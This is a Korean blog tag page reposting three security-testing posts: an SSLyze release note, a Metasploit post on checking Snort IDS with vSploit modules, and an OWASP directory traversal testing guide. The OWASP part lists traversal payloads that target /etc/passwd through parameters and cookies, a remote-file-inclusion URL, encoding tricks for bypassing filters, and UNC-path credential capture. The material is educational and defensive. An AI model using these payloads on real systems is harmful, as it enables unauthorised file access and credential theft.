'testing'에 해당되는 글 4건

  1. 2012.03.27 SSLyze v0.4 Released
  2. 2011.07.11 Testing Snort IDS with Metasploit vSploit Modules
  3. 2010.06.01 Testing for Directory Traversal
2012. 3. 27. 17:20

SSLyze v0.4 Released

SSLyze

Better, faster scanner to analyze the configuration of SSL servers.

  • Supports cipher suites scanning, insecure renegotiation verification, session resumption testing, client certificates, and more...
  • Tested on Python 2.6 & 2.7 with Ubuntu and Windows 7, both 32 and 64 bits. Might work on other platforms as well.
  • Based on OpenSSL and a custom SSL Python wrapper.

Contact: sslyze /at/ isecpartners \dot\ com

New release !! - SSLyze v0.4

  • Support for OpenSSL 1.0.1 and TLS 1.1 and 1.2 scanning. See --tlsv1_1 and --tlsv1_2.
  • Support for HTTP CONNECT proxies. See --https_tunnel.
  • Support for StartTLS with SMTP and XMPP. See --starttls.
  • Improved/clarified output.
  • Various bug fixes.


Trackback 0 Comment 0
2011. 7. 11. 13:57

Testing Snort IDS with Metasploit vSploit Modules

One of my key objectives for developing the new vSploit modules was to test network devices such as Snort. Snort or Sourcefire enterprise products are widely deployed in enterprises, so Snort can safely be considered the de-facto standard when it comes to intrusion detection systems (IDS). So much that even third-party intrusion detection systems often import Snort rules.

Organizations are often having a tough time verifying that their IDS deployment actually work as intended, which is why I created several vSploit modules to test whether Snort sensors are seeing certain traffic. Because vSploit modules were made to trigger Snort alerts, so they don't obfuscate attacks to avoid detection.

However, not every rule is used in every environment. For example, if you aren't using Microsoft Frontpage on your network, you likely won't want to use Snort's Frontpage rules. On the other hand, if you are running Frontpage you may not want to try exploiting it because it may affect the production system. Because of Metasploit Framework's flexibility, you can use the vSploit Generic HTTP Server module to host a small web server that answers all testing requests, so production systems won't be affected.

You can run vSploit modules with a mix of Metasploit Framework, Metasploit Pro, and Metasploit Express, providing there is end-to-end network connectivity to the vSploit instances:

To try out the new vSploit modules, start up the vSploit Generic HTTP Server.

Then launch Frontpage-related attack attributes:

Verify that the packets are being transmitted in Wireshark:

Finally, verify that Snort IDS sees the activity:

Metasploit vSploit Modules will be released at DEFCON 19.

출처 : Metasploit Blog


Trackback 0 Comment 0
2010. 6. 1. 15:01

Testing for Directory Traversal

Black Box testing and example

(a) Input Vectors Enumeration
In order to determine which part of the application is vulnerable to input validation bypassing, the tester needs to enumerate all parts of the application which accept content from the user. This also includes HTTP GET and POST queries and common options like file uploads and HTML forms.

Here are some examples of the checks to be performed at this stage:

  • Are there request parameters which could be used for file-related operations?
  • Are there unusual file extensions?
  • Are there interesting variable names?
http://example.com/getUserProfile.jsp?item=ikki.html
http://example.com/index.php?file=content
http://example.com/main.cgi?home=index.htm
  • Is it possible to identify cookies used by the web application for the dynamic generation of pages/templates?
Cookie: ID=d9ccd3f4f9f18cc1:TM=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:TEMPLATE=flower
Cookie: USER=1826cc8f:PSTYLE=GreenDotRed


(b) Testing Techniques

The next stage of testing is analyzing the input validation functions present in the web application.

Using the previous example, the dynamic page called getUserProfile.jsp loads static information from a file, showing the content to users. An attacker could insert the malicious string "../../../../etc/passwd" to include the password hash file of a Linux/Unix system. Obviously, this kind of attack is possible only if the validation checkpoint fails; according to the filesystem privileges, the web application itself must be able to read the file.

To successfully test for this flaw, the tester needs to have knowledge of the system being tested and the location of the files being requested. There is no point requesting /etc/passwd from an IIS web server.

http://example.com/getUserProfile.jsp?item=../../../../etc/passwd

For the cookies example, we have:

Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd

It's also possible to include files and scripts located on external website.

http://example.com/index.php?file=http://www.owasp.org/malicioustxt

The following example will demonstrate how it is possible to show the source code of a CGI component, without using any path traversal chars.

http://example.com/main.cgi?home=main.cgi

The component called "main.cgi" is located in the same directory as the normal HTML static files used by the application. In some cases the tester needs to encode the requests using special characters (like the "." dot, "%00" null, ...) in order to bypass file extension controls or to prevent script execution.

Tip It's a common mistake by developers to not expect every form of encoding and therefore only do validation for basic encoded content. If at first your test string isn't successful, try another encoding scheme.

Each operating system uses different chars as path separator:

Unix-like OS:

root directory: "/" 
directory separator: "/" 

Windows OS' Shell':

root directory: "<drive letter>:\"  
directory separator: "\" or "/" 
Greater and less than ">" and "<"
Double quotes (closed properly) 
– Extraneous current directory markers such as "./" or ".\" 
– Extraneous parent directory markers with arbitrary items that may or may not exist

Examples:

– file.txt 
– file.txt...
- file.txt...
– file.txt<spaces> 
– file.txt”””” 
–file.txt<<<>><>< 
– file.txt/./././
– nonexistant/../file.txt 

MAX_PATH of a filename can be exceeded by prefixing with \\?\ - but must be an absolute path, no parent or current directory indicators can be used, such as ./ or ../

"Windows API"

The following items are discarded:
periods
spaces

"Windows UNC Filenames"

Used to reference files on a SMB share. Sometimes, an application can be made to refer to files on a remote UNC filepath. If so, the Windows SMB server may send stored credentials to the attacker, which can be captured and cracked.

\\server_or_ip\path\to\file.abc
\\?\server_or_ip\path\to\file.abc

"Windows NT Device Namespace"

Used to refer to the Windows device namespace
\\.\GLOBALROOT\Device\HarddiskVolume1\   -equivalent to c:\
\\\airpcap00\ \\.\airpcap00\
\\.\CdRom0\

Usually, on Windows, the directory traversal attack is limited to a single partition

"DOS Special Devices"

\
CON - thee console 
PRN -  a parallel printer 
COM1 - the first serial port 
NUL -  bit bucket (/dev/null equivalent) 

Extensions are ignored. Ex:
- COM.bat
-CON.<666x"A">

Classic Mac OS:

root directory: "<drive letter>:" 
directory separator: ":" 


We should take in account the following chars encoding:

  • URL encoding and double URL encoding
%2e%2e%2f represents ../
%2e%2e/ represents ../
..%2f represents ../
%2e%2e%5c represents ..\
%2e%2e\ represents ..\
..%5c represents ..\
%252e%252e%255c represents ..\
..%255c represents ..\ and so on.
  • Unicode/UTF-8 Encoding (it only works in systems that are able to accept overlong UTF-8 sequences)
..%c0%af represents ../
..%c1%9c represents ..\


Gray Box testing and example

When the analysis is performed with a Gray Box approach, we have to follow the same methodology as in Black Box Testing. However, since we can review the source code, it is possible to search the input vectors (stage (a) of the testing) more easily and accurately. During a source code review, we can use simple tools (such as the grep command) to search for one or more common patterns within the application code: inclusion functions/methods, filesystem operations, and so on.

PHP: include(), include_once(), require(), require_once(), fopen(), readfile(), ... 
JSP/Servlet: java.io.File(), java.io.FileReader(), ...
ASP: include file, include virtual, ...

Using online code search engines (e.g., Google CodeSearch, Koders), it may also be possible to find path traversal flaws in OpenSource software published on the Internet.

For PHP, we can use:

lang:php (include|require)(_once)?\s*['"(]?\s*\$_(GET|POST|COOKIE)


Using the Gray Box Testing method, it is possible to discover vulnerabilities that are usually harder to discover, or even impossible to find during a standard Black Box assessment.

Some web applications generate dynamic pages using values and parameters stored in a database. It may be possible to insert specially crafted path traversal strings when the application adds data to the database. This kind of security problem is difficult to discover due to the fact the parameters inside the inclusion functions seem internal and "safe", but otherwise they are not.

Additionally, reviewing the source code, it is possible to analyze the functions that are supposed to handle invalid input: some developers try to change invalid input to make it valid, avoiding warnings and errors. These functions are usually prone to security flaws.

Consider a web application with these instructions:

filename = Request.QueryString(“file”); 
Replace(filename, “/”,”\”); 
Replace(filename, “..\”,””);

Testing for the flaw is achieved by:

file=....//....//boot.ini 
file=....\\....\\boot.ini 
file= ..\..\boot.ini 


출처 : www.owasp.org


Trackback 1 Comment 0